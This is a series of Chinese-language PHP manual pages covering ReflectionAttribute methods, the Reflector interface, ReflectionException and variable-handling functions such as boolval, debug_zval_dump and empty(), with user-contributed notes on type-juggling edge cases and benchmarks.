  • ReflectionAttribute::getName ?
  • PHP Manual
  • ReflectionAttribute
  • 获取传递给属性的参数

ReflectionAttribute::getArguments

(PHP 8)

ReflectionAttribute::getArguments — 获取传递给属性的参数

说明

public ReflectionAttribute::getArguments(): array

获取传递给属性的参数。

参数

此函数没有参数。

返回值

传递给属性的参数。

User Contributed Notes

There are no user contributed notes for this page.


获取属性名称

  • ? ReflectionAttribute::getArguments
  • ReflectionAttribute::getTarget ?
  • PHP Manual
  • ReflectionAttribute
  • 获取属性名称

ReflectionAttribute::getName

(PHP 8)

ReflectionAttribute::getName — 获取属性名称

说明

public ReflectionAttribute::getName(): string

获取属性名称。

参数

此函数没有参数。

返回值

属性的名称。

User Contributed Notes

There are no user contributed notes for this page.


返回属性的目标位掩码

  • ? ReflectionAttribute::getName
  • ReflectionAttribute::isRepeated ?
  • PHP Manual
  • ReflectionAttribute
  • 返回属性的目标位掩码

ReflectionAttribute::getTarget

(PHP 8)

ReflectionAttribute::getTarget — 返回属性的目标位掩码

说明

public ReflectionAttribute::getTarget(): int

获取属性的目标位掩码。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

获取属性的目标位掩码。

User Contributed Notes

There are no user contributed notes for this page.


返回该名称的属性是否已重复出现在代码元素上

  • ? ReflectionAttribute::getTarget
  • ReflectionAttribute::newInstance ?
  • PHP Manual
  • ReflectionAttribute
  • 返回该名称的属性是否已重复出现在代码元素上

ReflectionAttribute::isRepeated

(PHP 8)

ReflectionAttribute::isRepeated — 返回该名称的属性是否已重复出现在代码元素上

说明

public ReflectionAttribute::isRepeated(): bool

返回该名称的属性是否已重复出现在代码元素上。

参数

此函数没有参数。

返回值

当属性被重复使用时返回 true，否则返回 false。

User Contributed Notes

There are no user contributed notes for this page.


实例化由 ReflectionAttribute 类和参数表示的属性类

  • ? ReflectionAttribute::isRepeated
  • Reflector ?
  • PHP Manual
  • ReflectionAttribute
  • 实例化由 ReflectionAttribute 类和参数表示的属性类

ReflectionAttribute::newInstance

(PHP 8)

ReflectionAttribute::newInstance — 实例化由 ReflectionAttribute 类和参数表示的属性类

说明

public ReflectionAttribute::newInstance(): object

实例化由 ReflectionAttribute 类和参数表示的属性类。

参数

此函数没有参数。

返回值

属性的新实例。

User Contributed Notes

baptiste at pillot dot fr 30-Jan-2023 11:07
Calling ReflectionAttribute::newInstance() using an attribute name that has a matching class without #[Attribute] will result in an error.

Example :

<?php
class FakeAttribute {}

#[FakeAttribute]
class Test {}

try {
    (new ReflectionClass(Test::class))->getAttributes()[0]->newInstance();
}
catch (Error $error) {
    echo 'Throwed error ' . get_class($error) . ' with message : ' . $error->getMessage();
}
?>

This will output :

Throwed error Error with message : Attempting to use non-attribute class "FakeAttribute" as attribute
baptiste at pillot dot fr 30-Jan-2023 11:06
Calling ReflectionAttribute::newInstance() using an attribute name that does not have a corresponding class will result in an error.

Example :

<?php
#[FakeAttribute]
class Test {}

try {
  (new ReflectionClass(Test::class))->getAttributes()[0]->newInstance();
}
catch (Error $error) {
  echo 'Throwed error ' . get_class($error) . ' with message : ' . $error->getMessage();
}
?>

This will output :

Throwed error Error with message : Attribute class "FakeAttribute" not found


Reflector 接口

(PHP 5, PHP 7, PHP 8)

简介

Reflector 是一个接口，被所有可导出的反射类所实现（implement）。

接口摘要

interface Reflector extends Stringable {
/* 继承的方法 */
public Stringable::__toString(): string
}

更新日志

版本 | 说明
8.0.0 | 已移除 Reflector::export()。
8.0.0 | 现在 Reflector 实现（implement）了 Stringable。继承了 Stringable::__toString()，从而取代 Reflector::__toString()。

参见

  • Reflector::export()

Table of Contents

  • Reflector::export — Exports

User Contributed Notes

There are no user contributed notes for this page.


Exports

  • ? Reflector
  • ReflectionException ?
  • PHP Manual
  • Reflector
  • Exports

Reflector::export

(PHP 5, PHP 7)

Reflector::export — Exports

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

public static Reflector::export(): string

输出。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

参见

  • Reflection::__toString()

User Contributed Notes

There are no user contributed notes for this page.


ReflectionException 类

(PHP 5, PHP 7, PHP 8)

简介

ReflectionException 类。

类摘要

class ReflectionException extends Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

temirkhan.nasukhov 18-Apr-2019 11:50
Note that this exception is unchecked even if it is not based on RuntimeException.  Such error must lead to direct fixes in code and not in catch-handle of situation.

Also keep in mind that IDE (mine is Phpstorm 2018.3.4) inspections will highlight it for that reason so do not create phpdoc with throws for any Runtime exceptions.

<?php

/**
 * This way is wrong
 *
 * @throws \ReflectionException
 */
function createReflection()
{
    return new \ReflectionClass('invalid argument');
}

/**
 * This way is fine(I don't mean the code of course)
 */
function createReflection()
{
    return new \ReflectionClass('invalid argument');
}


变量处理

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 变量处理函数
    • boolval — 获取变量的布尔值
    • debug_zval_dump — 将表示内部 zval 结构的字符串转储到输出
    • doubleval — 别名 floatval
    • empty — 检查变量是否为空
    • floatval — 获取变量的浮点值
    • get_debug_type — 以适合调试的方式获取变量的类型名称
    • get_defined_vars — 返回由所有已定义变量所组成的数组
    • get_resource_id — 返回给定资源的整数标识符
    • get_resource_type — 返回资源类型
    • gettype — 获取变量的类型
    • intval — 获取变量的整数值
    • is_array — 检测变量是否是数组
    • is_bool — 检测变量是否是布尔值
    • is_callable — 验证值是否可以在当前范围内作为函数调用。
    • is_countable — 验证变量内容是否为可数值
    • is_double — 别名 is_float
    • is_float — 查找变量的类型是否是浮点型
    • is_int — 检测变量是否是整数
    • is_integer — 别名 is_int
    • is_iterable — 验证变量的内容是否为可迭代值
    • is_long — 别名 is_int
    • is_null — 检测变量是否是 null
    • is_numeric — 检测变量是否为数字或数字字符串
    • is_object — 查找变量是否是对象
    • is_real — 别名 is_float
    • is_resource — 查找变量是否为资源
    • is_scalar — 检测变量是否是一个标量
    • is_string — 查找变量的类型是否是字符串
    • isset — 检测变量是否已声明并且其值不为 null
    • print_r — 打印人类可读的变量信息
    • serialize — 生成值的可存储表示
    • settype — 设置变量的类型
    • strval — 获取变量的字符串值
    • unserialize — 从已存储的表示中创建 PHP 的值
    • unset — 清除指定变量
    • var_dump — 打印变量的相关信息
    • var_export — 输出或返回变量的可解析字符串表示

User Contributed Notes

There are no user contributed notes for this page.


简介

对于变量行为方式的信息，请参阅语言参考中的变量条目。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

变量配置选项
名字 | 默认 | 可修改范围 | 更新日志
unserialize_callback_func | null | PHP_INI_ALL |
unserialize_max_depth | "4096" | PHP_INI_ALL | 自 PHP 7.4.0 起可用。
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

unserialize_callback_func string

如果解串行器发现有未定义类要被实例化，将会调用 unserialize() 回调函数（用该未定义类名作为参数）。如果指定函数不存在，或者此函数没有包含/实现该未定义类，则显示警告。所以仅在确实需要实现这样的回调函数时才设置该选项。

参见 unserialize() 和类的自动加载。

unserialize_max_depth int

使用 unserialize() 反序列化期间允许的最大结构深度，主要是防止栈溢出。可以通过设置 unserialize_max_depth=0 来禁用。

参见 unserialize() 和类的自动加载。

User Contributed Notes

There are no user contributed notes for this page.


变量处理函数

Table of Contents

  • boolval — 获取变量的布尔值
  • debug_zval_dump — 将表示内部 zval 结构的字符串转储到输出
  • doubleval — 别名 floatval
  • empty — 检查变量是否为空
  • floatval — 获取变量的浮点值
  • get_debug_type — 以适合调试的方式获取变量的类型名称
  • get_defined_vars — 返回由所有已定义变量所组成的数组
  • get_resource_id — 返回给定资源的整数标识符
  • get_resource_type — 返回资源类型
  • gettype — 获取变量的类型
  • intval — 获取变量的整数值
  • is_array — 检测变量是否是数组
  • is_bool — 检测变量是否是布尔值
  • is_callable — 验证值是否可以在当前范围内作为函数调用。
  • is_countable — 验证变量内容是否为可数值
  • is_double — 别名 is_float
  • is_float — 查找变量的类型是否是浮点型
  • is_int — 检测变量是否是整数
  • is_integer — 别名 is_int
  • is_iterable — 验证变量的内容是否为可迭代值
  • is_long — 别名 is_int
  • is_null — 检测变量是否是 null
  • is_numeric — 检测变量是否为数字或数字字符串
  • is_object — 查找变量是否是对象
  • is_real — 别名 is_float
  • is_resource — 查找变量是否为资源
  • is_scalar — 检测变量是否是一个标量
  • is_string — 查找变量的类型是否是字符串
  • isset — 检测变量是否已声明并且其值不为 null
  • print_r — 打印人类可读的变量信息
  • serialize — 生成值的可存储表示
  • settype — 设置变量的类型
  • strval — 获取变量的字符串值
  • unserialize — 从已存储的表示中创建 PHP 的值
  • unset — 清除指定变量
  • var_dump — 打印变量的相关信息
  • var_export — 输出或返回变量的可解析字符串表示

User Contributed Notes

aldemarcalazans@gmail 06-Oct-2019 08:57
I thought the PHP developers should include in this section, the operator "identity" ( see http://php.net/manual/en/language.operators.arithmetic.php).

From an arithmetic point of view, this operator is useless but, as a converter from string to number, it is great. It does not force the numerical string to have an integer or float type, instead, it automatically determines the adequate type, depending on the numerical quantity represented by the string.


获取变量的布尔值

  • ? 变量处理函数
  • debug_zval_dump ?
  • PHP Manual
  • 变量处理函数
  • 获取变量的布尔值

boolval

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

boolval — 获取变量的布尔值

说明

boolval(mixed $value): bool

返回 value 的 bool 值。

参数

value

标量值会被转化成 bool 值。

返回值

value 的 bool 值。

示例

Example #1 boolval() examples

<?php
echo '0: '.(boolval(0) ? 'true' : 'false')."\n";
echo '42: '.(boolval(42) ? 'true' : 'false')."\n";
echo '0.0: '.(boolval(0.0) ? 'true' : 'false')."\n";
echo '4.2: '.(boolval(4.2) ? 'true' : 'false')."\n";
echo '"": '.(boolval("") ? 'true' : 'false')."\n";
echo '"string": '.(boolval("string") ? 'true' : 'false')."\n";
echo '"0": '.(boolval("0") ? 'true' : 'false')."\n";
echo '"1": '.(boolval("1") ? 'true' : 'false')."\n";
echo '[1, 2]: '.(boolval([1, 2]) ? 'true' : 'false')."\n";
echo '[]: '.(boolval([]) ? 'true' : 'false')."\n";
echo 'stdClass: '.(boolval(new stdClass) ? 'true' : 'false')."\n";
?>

以上示例会输出：

0:        false
42:       true
0.0:      false
4.2:      true
"":       false
"string": true
"0":      false
"1":      true
[1, 2]:   true
[]:       false
stdClass: true

参见

  • floatval() - 获取变量的浮点值
  • intval() - 获取变量的整数值
  • strval() - 获取变量的字符串值
  • settype() - 设置变量的类型
  • is_bool() - 检测变量是否是布尔值
  • 类型转换的判别

User Contributed Notes

John Doe 16-Aug-2021 07:51
Type casting is the easiet and fastest way:

(bool)$value
Anonymous 18-Mar-2021 11:39
boolval('false') returns true.
boolval('False') return true.
uasenior at gmail dot com 28-Jan-2020 08:02
<?

// Some way to print boolean value as string

$b = true;

echo ['false', 'true'][$b];

?>
raphael.satyago 20-Jan-2015 09:20
function is_true($val, $return_null=false){
    $boolval = ( is_string($val) ? filter_var($val, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE) : (bool) $val );
    return ( $boolval===null && !$return_null ? false : $boolval );
}

// Return Values:

is_true(new stdClass);      // true
is_true([1,2]);             // true
is_true([1]);               // true
is_true([0]);               // true
is_true(42);                // true
is_true(-42);               // true
is_true('true');            // true
is_true('on')               // true
is_true('off')              // false
is_true('yes')              // true
is_true('no')               // false
is_true('ja')               // false
is_true('nein')             // false
is_true('1');               // true
is_true(NULL);              // false
is_true(0);                 // false
is_true('false');           // false
is_true('string');          // false
is_true('0.0');             // false
is_true('4.2');             // false
is_true('0');               // false
is_true('');                // false
is_true([]);                // false
Matt M 09-Jan-2015 05:27
To anyone like me who came here looking for a way to turn any value into a 0/1 that will fit into a MySQL boolean (tinyint) field:

<?php
$tinyint = (int) filter_var($valToCheck, FILTER_VALIDATE_BOOLEAN);
?>

tinyint will be 0 (zero) for values like string "false", boolean false, int 0

tinyint will be 1 for values like string "true", boolean true, int 1

Useful if you are accepting data that might be from a language like Javascript that sends string "false" for a boolean false.
Babak Bandpey 13-May-2014 09:14
I believe that the double negation !! can perform the same task with the same result if your PHP is not up2date

var_dump(!!1, !!0, !!"test", !!"");

outputs:
boolean true

boolean false

boolean true

boolean false

May the life be good to you.
Anonymous 30-Dec-2013 05:12
A misspell in v2.0.
:-)

Hack v2.1

<?php

if( ! function_exists('boolval'))
{
    /**
     * Get the boolean value of a variable
     *
     * @param mixed The scalar value being converted to a boolean.
     * @return boolean The boolean value of var.
     */
    function boolval($var)
    {
        return !! $var;
    }
}

?>
info at lomalkin dot ru 15-Mar-2013 11:08
<?

// Hack for old php versions to use boolval()

if (!function_exists('boolval')) {
        function boolval($val) {
                return (bool) $val;
        }
}
?>


将表示内部 zval 结构的字符串转储到输出

  • ? boolval
  • doubleval ?
  • PHP Manual
  • 变量处理函数
  • 将表示内部 zval 结构的字符串转储到输出

debug_zval_dump

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

debug_zval_dump — 将表示内部 zval 结构的字符串转储到输出

说明

debug_zval_dump(mixed $value, mixed ...$values): void

将表示内部 zval（Zend 值）结构的字符串转储到输出。这对于理解或调试 Zend 引擎或 PHP 扩展的实现细节非常有用。

参数

value

要转储的变量或值。

values

要进一步转储的变量或值。

返回值

没有返回值。

示例

Example #1 debug_zval_dump() 示例

<?php
$var1 = 'Hello';
$var1 .= ' World';
$var2 = $var1;

debug_zval_dump($var1);
?>

以上示例会输出：

string(11) "Hello World" refcount(3)

Note: 理解 refcount

如果没有深入了解过引擎实现，该函数显示的 refcount 值可能会令人惊讶。

Zend 引擎使用引用计数来实现两个不同的目的：

  • 使用叫做"写时复制"的技术来优化内存使用，其中拥有相同值的多个变量指向内存中的同一个副本。当其中修改其中一个变量时，它会指向内存中的一个新副本，并且原始副本的引用计数会减少 1。
  • 跟踪已分配或通过引用传递的变量（参见引用解释）。这个 refcount 存储在单独的 reference zval 上，指向当前值的 zval。这个额外的 zval 目前不会在 debug_zval_dump() 中显示。

因为 debug_zval_dump() 将输入作为普通参数传递，通过值传递，所以将使用写时复制技术来传递它们：而不是复制数据，refcount 将在函数调用的生命周期内增加 1。如果函数在接收参数后修改了它，那么将会进行复制；由于没有修改参数，所以在调用范围内显示的 refcount 会比较高。

参数传递也会阻止 debug_zval_dump() 显示通过引用分配的变量。为了说明这一点，对上面示例进行略微修改：

<?php
$var1 = 'Hello';
$var1 .= ' World';
// Point three variables as references to the same value
$var2 =& $var1;
$var3 =& $var1;

debug_zval_dump($var1);
?>

以上示例会输出：

string(11) "Hello World" refcount(2)

尽管 $var1、$var2 和 $var3 是通过引用链接，但只有 value 传递给了 debug_zval_dump()。这个值在引用集合中使用了一次，在 debug_zval_dump() 内部使用了一次，所以显示的引用计数为 2。

由于引擎针对不同数据类型进行的优化，还会出现进一步的复杂情况。比如一些像整数之类的类型，不使用"写时复制"，因此根本不会显示 refcount。在其他情况下，refcount 显示了内部使用的额外副本，比如当字面字符串或数组作为代码指令的一部分存储时。

参见

  • var_dump() - 打印变量的相关信息
  • debug_backtrace() - 产生一条回溯跟踪(backtrace)
  • 引用解释
  • » 引用解释（作者：Derick Rethans）

User Contributed Notes

Hayley Watson 09-Jul-2019 11:01
If you're finding the interpretation of refcount confusing, the Xdebug extension offers a function similar to this one, but because the variable name is passed as a string, xdebug_debug_zval() doesn't scribble on the refcount with its own references to the zval.


别名 floatval

  • ? debug_zval_dump
  • empty ?
  • PHP Manual
  • 变量处理函数
  • 别名 floatval

doubleval

(PHP 4, PHP 5, PHP 7, PHP 8)

doubleval — 别名 floatval()

说明

此函数是该函数的别名： floatval().

User Contributed Notes

There are no user contributed notes for this page.


检查变量是否为空

  • ? doubleval
  • floatval ?
  • PHP Manual
  • 变量处理函数
  • 检查变量是否为空

empty

(PHP 4, PHP 5, PHP 7, PHP 8)

empty — 检查变量是否为空

说明

empty(mixed $var): bool

判断变量是否为是空。当变量不存在或者它的值等于 false，那么视为空。如果变量不存在，empty() 不会产生警告。

参数

var

待检查的变量

没有警告会产生，哪怕变量并不存在。这意味着 empty() 本质上与 !isset($var) || $var == false 等价。

返回值

当 var 不存在、值为空、等于 0、为 false 时，返回 true。参阅 转换为 boolean。否则返回 false。 否则返回 true。

示例

Example #1 一个简单的 empty() 与 isset() 的比较。

<?php
$var = 0;

// 因为 $var 为空，所以计算结果为 true
if (empty($var)) {
echo '$var is either 0, empty, or not set at all';
}

// 因为 $var 已赋值，所以计算结果为 true
if (isset($var)) {
echo '$var is set even though it is empty';
}
?>

Example #2 在字符串偏移量上使用 empty()

<?php
$expected_array_got_string = 'somestring';
var_dump(empty($expected_array_got_string['some_key']));
var_dump(empty($expected_array_got_string[0]));
var_dump(empty($expected_array_got_string['0']));
var_dump(empty($expected_array_got_string[0.5]));
var_dump(empty($expected_array_got_string['0.5']));
var_dump(empty($expected_array_got_string['0 Mostel']));
?>

以上示例会输出：

bool(true)
bool(false)
bool(false)
bool(false)
bool(true)
bool(true)

注释

Note: 因为是语言构造器而不是函数，不能被 可变函数 或者 命名参数 调用。

Note:

当对一个不可见的对象属性使用 empty() 时，如果存在 __isset() 方法，它将会被调用。

参见

  • isset() - 检测变量是否已声明并且其值不为 null
  • __isset()
  • unset() - 清除指定变量
  • array_key_exists() - 检查数组里是否有指定的键名或索引
  • count() - 统计数组、Countable 对象中所有元素的数量
  • strlen() - 获取字符串长度
  • 类型比较表

User Contributed Notes

mmulej at gmail dot com 30-Dec-2022 11:28
Tests on
- Win 11
- Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz   2.21 GHz
- 64Gb RAM,
- PHP 8.1.10 (in Tinkerwell)
repeatedly show `empty` > `count` > `=== []`, but the margin is small and not worth the micro-optimizations.

Note: Same results (with `$n = 10000000`) for PHP v7.4.33 using onlinephp(dot)io sandbox tool.

<?php

$test = range(0, 1000);
$test2 = [];
$n = 1000_000_000;

$t1 = microtime(true); for ($x = 0; $x < $n; $x++) if (count($test)) {}
$t2 = microtime(true); for ($x = 0; $x < $n; $x++) if (count($test2)) {}
$t3 = microtime(true); for ($x = 0; $x < $n; $x++) if ($test === []) {}
$t4 = microtime(true); for ($x = 0; $x < $n; $x++) if ($test2 === []) {}
$t5 = microtime(true); for ($x = 0; $x < $n; $x++) if (empty($test)) {}
$t6 = microtime(true); for ($x = 0; $x < $n; $x++) if (empty($test2)) {}
$t7 = microtime(true);

echo "count(\$test):  " . ($t2 - $t1) . " sec\n";
echo "count(\$test2): " . ($t3 - $t2) . " sec\n";
echo "\$test === []:  " . ($t4 - $t3) . " sec\n";
echo "\$test2 === []: " . ($t5 - $t4) . " sec\n";
echo "empty(\$test):  " . ($t6 - $t5) . " sec\n";
echo "empty(\$test2): " . ($t7 - $t6) . " sec\n";

?>

Results:
<?php
count($test):  18.034885168076 sec
count($test2): 17.133869886398 sec
$test === []:  20.059770107269 sec
$test2 === []: 14.204195022583 sec
empty($test):  13.583840847015 sec
empty($test2): 12.971315145493 sec
?>
Lukas 05-May-2022 02:36
<?php

// Difference of empty() vs. isset()

$testCase = array(
    1 => '',
    2 => ' ',
    3 => null,
    4 => array(),
    5 => false,
    6 => true,
    7 => '0',
    8 => 0,
);

foreach ($testCase as $k => $v) {
    echo "<br> $k => " . strval($v) . " " . (empty($v) ? "is empty" : "is not empty") . " / " . (isset($v) ? "is set" : "is not set");
}

/*
RESULT:
 1 =>  is empty / is set
 2 =>   is not empty / is set
 3 =>  is empty / is not set
 4 => Array is empty / is set
 5 =>  is empty / is set
 6 => 1 is not empty / is set
 7 => 0 is empty / is set
 8 => 0 is empty / is set
*/
info at ensostudio dot ru 22-Jul-2021 09:11
Multiple empty():
<?php
/**
 * Multiple empty().
 *
 * @param mixed[] $vars Variables to test
 * @return bool
 */
function multi_empty(& ...$vars)
{
    // no callback is supplied, all empty values will be removed
    return array_filter($vars) === [];
}
?>
example:
<?php
$notEmptyVar = 1;
$emptyVar = null;
// $undefinedVar - not defined

multi_empty($emptyVar); // true
multi_empty($emptyVar, $undefinedVar); // true
multi_empty($notEmptyVar , $emptyVar); // false
multi_empty($notEmptyVar , $emptyVar, $undefinedVar); // false
?>
pm1625637 at gmail dot com 05-Dec-2019 02:11
Be careful about this  :

<?php
$del = '';
echo empty($del);
?>

Output : 1
markmanning at gmail dot com 23-Mar-2019 09:15
I normally count() an array, so I wanted to see how empty() would stack up.

<?php
    $test = array();
    $test2 = array();
    for ($x = 0; $x < 1000; $x++)  $test[] = $x;

    $ts = microtime(true);
    for ($x = 0; $x < 100000000; $x++)
    {
        if (count($test))
        {
        }
    }

    echo "Time taken:  " . (microtime(true) - $ts) . " sec\n";
?>

For 100,000,000 comparisons, here are the results against PHP 7.2.16 on my hardware:

count($test):  2.697 sec
count($test2):  2.596 sec
$test === array():  2.579 sec
$test2 === array():  2.552 sec
empty($test):  3.085 sec
empty($test2):  3.113 sec

In short, it doesn't matter what method is used although empty() is actually just ever so slightly slower despite it being a language construct.  YMMV.
fahimcseiiuc at gmail dot com 25-Feb-2019 10:02
<?php

    /*"" (an empty string)
      0 (0 as an integer)
      0.0 (0 as a float)
      "0" (0 as a string)
      NULL
      FALSE
      array() (an empty array)*/

$anEmptyString = "";
empty($anEmptyString);
if(empty($anEmptyString) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";         //line break

$anIntegerNumber = 0;
empty($anIntegerNumber);
if(empty($anIntegerNumber) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";         //line break

$aFloatNumber = 0.0;
empty($aFloatNumber);
if(empty($aFloatNumber) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";       //line break

$aZeroValuedString = "0";
empty($aZeroValuedString);
if(empty($aZeroValuedString) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";        //line break

$aNULL = NULL;
empty($aNULL);
if(empty($aNULL) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";        //line break

$aBooleanFALSE = FALSE;
empty($aBooleanFALSE);
if(empty($aBooleanFALSE) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";        //line break

$anEmptyArray = array();
empty($anEmptyArray);
if(empty($anEmptyArray) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";       //line break

?>
GazetteSDF 21-Sep-2018 09:02
For the verification of a form, to "block" entries such as a simple space or other, I thought of this combination:

function isEmpty($string){
    $val = preg_replace('#[^A-Za-z0-9]+#', '', $string) ;
    $val = trim($string, '');
    return ($string=='') ;
}

This protects entries like: ' ' ,'  -  ', '. - +', ... On entries like name, profession, ... it's helpful
xzero at elite7hackers dot net 13-Jul-2017 11:36
Note that empty() will return false on null byte. Eg.

<?php
// Save to variable, so it works on older PHP versions
$null_byte = chr(0); // === \0

var_dump(
    empty(null),
    empty($null_byte)
);
/**
 * Results:
 *
 * bool(true)
 * bool(false)
 */
wranvaud at gmail dot com 02-Jul-2017 06:22
Note that if your variable only has an "end of line" (aka carriage return), PHP_EOL it is not considered as empty. Since end of lines are not always easy to spot this can be confusing.
Claudio Galdiolo 25-Mar-2017 12:20
Warning: an "empty" object is NOT considered to be empty
<?php
$var = new stdClass(); // "empty" object
var_dump(empty($var)); // bool(false)
?>

I don't know if there is a standard way to test for "empty" objects, I personally use array casting:
<?php
$var = new stdClass(); // "empty" object
$var = (array) $var; // cast to empty array
var_dump(empty($var)); // bool(true)
?>
mcfogw at gmail dot com 08-May-2016 02:40
I'm comparing behavior of `!` and `empty()`, find an undocumented behavior here.

just like cast-to-boolean, `empty()` cares about if SimpleXML object is made from emty tags.

`empty(simplexml_load_string('<root />'))` is TRUE

this behavior begins from php 5.1.0~7, in 5.0.x that's FALSE

proof here => https://3v4l.org/74Tc4
Javier Alfonso 11-Mar-2016 01:05
If you test an element of an array (like $_POST['key]), it test if the key doesn't exist or if it exist if its value is empty and never emit a warning.

For who don't want to test what happen if passed an array element here is my test and result.

<?php
$a = array();
$b = array('key');
$c = array('key' => false);
$d = array('key' => 'La verdad nos hace libres');

echo (empty($a['key'])?'A empty':'A not empty'), ' - ', (empty($b['key'])?'B empty':'B not empty'), ' - ', (empty($c['key'])?'C empty':'C not empty'), ' - ', (empty($d['key'])?'D empty':'D not empty');
?>

And the result is:

    A empty - B empty - C empty - D not empty
your dot brother dot t at hotmail dot com 25-Dec-2014 09:38
(experienced in PHP 5.6.3) The `empty()` can't evaluate `__get()` results explicitly, so the `empty()` statement bellow always renders true
<?php
class Juice extends Liquid{
   protected $apple;
   protected $orange;
   public function __get($name) {
      return $this->$name;
   }
   public function __construct($apple, $orange) {
      $this->apple = $apple;
      $this->orange = $orange;
   }
}

class Glass {
   protected $liquid;
   public function __get($name) {
      return $name == "liquid" ? $this->liquid : false;
   }
   public function __construct() {
      $this->juice = new Juice(3, 5);
   }
}

$glass = new Glass();
var_dump(empty($this->liquid->apple));

/**
 * The output is:
 * bool(true)
 */
?>

The correct way is to force the evaluation of `__get()` first, by using extra braces around implicit statements like this:
<?php
var_dump(empty(($this->liquid->apple)));

/**
 * The output is:
 * bool(false)
 */
?>

So if you are using packages that utilize object oriented designs and magic methods like `__get()`, it's a good practice to always use double braces for `empty()` calls.
chrisdmiddleton at gmail dot com 09-Sep-2014 08:37
If you want to use empty() to evaluate an expression (not a variable), and you don't have PHP 5.5+, you can do it by wrapping the call to empty in a function, like so:
<?php
function is_empty($var) {

    return empty($var);

}
?>
Then you can do something like
<?php
if(is_empty(NULL)) {
 /* ... */
}
?>
without issue, since the local variable $var is being tested rather than the expression in the function call itself.
Nanhe Kumar 31-Jan-2014 10:17
<?php
/**
* @author :  Nanhe Kumar <nanhe.kumar@gmail.com>
* List of all empty values
**/

$testCase = array(
    1 => '',
    2 => "",
    3 => null,
    4 => array(),
    5 => FALSE,
    6 => NULL,
    7=>'0',
    8=>0,

);

foreach ($testCase as $k => $v) {
    if (empty($v)) {
        echo "<br> $k=>$v is empty";
    }
}
/**
Output
1=> is empty
2=> is empty
3=> is empty
4=>Array is empty
5=> is empty
6=> is empty
7=>0 is empty
8=>0 is empty
**/
?>
martin dot aarhof at gmail dot com 15-Mar-2012 08:38
<?php
$str = '            ';
var_dump(empty($str)); // boolean false
?>

So remember to trim your strings first!

<?php
$str = '        ';
$str = trim($str);
var_dump(empty($str)); // boolean true
?>
qeremy 07-Mar-2012 03:33
Simple solution for: "Fatal error: Can't use function return value in write context in ..."

<?php
function _empty($val) { return empty($val); }
?>
chris dot wisefool at gmail dot com 09-Sep-2011 12:44
Note that checking the existence of a subkey of an array when that subkey does not exist but the parent does and is a string will return false for empty.

i.e.

<?php
$params = array('search'=>'1');
empty($params['search']['filter']); # returns false
?>

This is correct, per the documentation (http://php.net/manual/en/language.types.string.php); quite a bit down the page is the Warning: "Writing to an out of range offset pads the string with spaces. Non-integer types are converted to integer." ) I didn't receive a warning but perhaps that's correct too...depends on whether the string -> integer conversion is considered "illegal": "Illegal offset type emits E_NOTICE."

(i.e. since $params['search'] is a string, the 'filter' subscript is converted to 0, so the test becomes empty($params['search'][0]), which is obviously false), but it tripped me up enough to mistakenly file a bug report (which I've since closed).
steven at nevvix dot com 02-May-2011 09:16
When you need to accept these as valid, non-empty values:
- 0 (0 as an integer)
- 0.0 (0 as a float)
- "0" (0 as a string)

<?php
function is_blank($value) {
    return empty($value) && !is_numeric($value);
}
?>

This is similar to Rails' blank? method.
phpsort 21-Jan-2011 11:13
I'm summarising a few points on empty() with inaccessible properties, in the hope of saving others a bit of time. Using PHP 5.3.2.
<?php
class MyClass {
    private $foo = 'foo';
}
$myClass = new MyClass;
echo $myClass->foo;
?>
As expected, this gives "Fatal error: Cannot access private property MyClass::$foo".
But substitute the line
if (empty($myClass->foo)) echo 'foo is empty'; else echo 'foo is not empty';
and we get the misleading result "foo is empty".
There is NO ERROR OR WARNING, so this is a real gotcha. Your code will just go wrong silently, and I would say it amounts to a bug.
If you add two magic functions to the class:
public function __get($var) { return $this->$var; }
public function __isset($var) { return isset($this->$var); }
then we get the expected result. You need both functions.
For empty($myClass->foo), I believe PHP calls __isset, and if that is true returns the result of empty on the result of __get. (Some earlier posts wrongly suggest PHP just returns the negation of __isset).
BUT ...
See the earlier post by php at lanar dot com. I confirm those results, and if you extend the test with isset($x->a->b->c) it appears that __isset is only called for the last property in the chain. Arguably another bug. empty() behaves in the same way. So things are not as clear as we might hope.
See also the note on empty() at
http://uk3.php.net/manual/en/language.oop5.overloading.php
Clear as mud!
e dot klerks at i-bytes dot nl 08-Nov-2010 06:16
To make an empty function, which only accepts arrays, one can use type-hinting:

<?php
// emptyArray :: [a] -> Bool

function emptyArray(array $xs){
 return empty($xs);
}
?>

Type hinting is a good thing to use in your code, because it makes it more easy to reason about your code. Besides that, it automatically documents the code.
rodolphe dot bodeau at free dot fr 25-Oct-2010 06:37
Be careful, if "0" (zero as a string), 0 (zero as an integer) and -0 (minus zero as an integer) return true, "-0" (minus zero as a string (yes, I already had some customers that wrote -0 into a form field)) returns false. You need to cast your variable before testing it with the empty() function :

<?php
$var = "-0";
echo empty($var);  // returns false
$var = (int) $var; // casts $var as an integer
